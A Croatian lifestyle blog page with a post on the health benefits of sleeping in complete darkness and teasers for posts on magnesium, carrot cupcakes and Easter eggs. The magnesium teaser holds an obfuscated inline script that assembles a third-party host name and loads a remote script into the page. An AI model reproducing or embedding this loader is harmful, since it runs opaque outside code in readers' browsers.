ZAŠTO JE SPAVANJE U POTPUNOM MRAKU ZDRAVIJE?





Zašto je spavanje u potpunom mraku zdravlje?




Poboljšanje higijene spavanja ključno je za kvalitetan odmor, a okruženje u kojem spavate trebalo bi biti hladno, tiho i mračno. Nedostatak svjetla pomaže mozgu i tijelu da se opuste, no mnogi se osjećaju nelagodno u potpunom mraku. Ispostavilo se da iza te nelagode stoje stvarni biološki razlozi.





Važnost mraka za regulaciju tjelesnog sata

Vaš unutarnji sat se oslanja na izmjenu svjetla i mraka kako bi regulirao san. Izloženost svjetlu smanjuje proizvodnju melatonina, hormona koji vam pomaže da zaspite i ostanete u snu, dok mrak signalizira tijelu da ga proizvodi više.

Ako ste noću izloženi prevelikoj količini svjetla, teže ćete postići odmoran san, što s vremenom može ozbiljno narušiti vaše zdravlje. Stalna izloženost svjetlu tijekom noći povezana je s višim stopama visokog krvnog tlaka, dijabetesa tipa 2 i debljanja, osobito kod starijih odraslih osoba. Dosljedno mračna soba radi u skladu s vašom biologijom, a ne protiv nje.




Kako olakšati prijelaz na spavanje u mraku?

Dobra vijest je da se na spavanje u mraku možete naviknuti postupno kako biste izbjegli nagli skok tjeskobe. Stručnjaci preporučuju polagano prigušivanje svjetla u cijelom domu sat vremena prije odlaska u krevet, što priprema mozak na nadolazeću tamu.

Ako se i dalje osjećate nesigurno, možete koristiti vrlo slabu noćnu svjetiljku jantarnog tona koja ne ometa proizvodnju melatonina toliko kao plavo ili bijelo svjetlo. Izgradnja dosljedne rutine prije spavanja također pomaže jer stvara osjećaj predvidljivosti i sigurnosti, čime se smanjuje biološki odgovor na strah od mraka.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više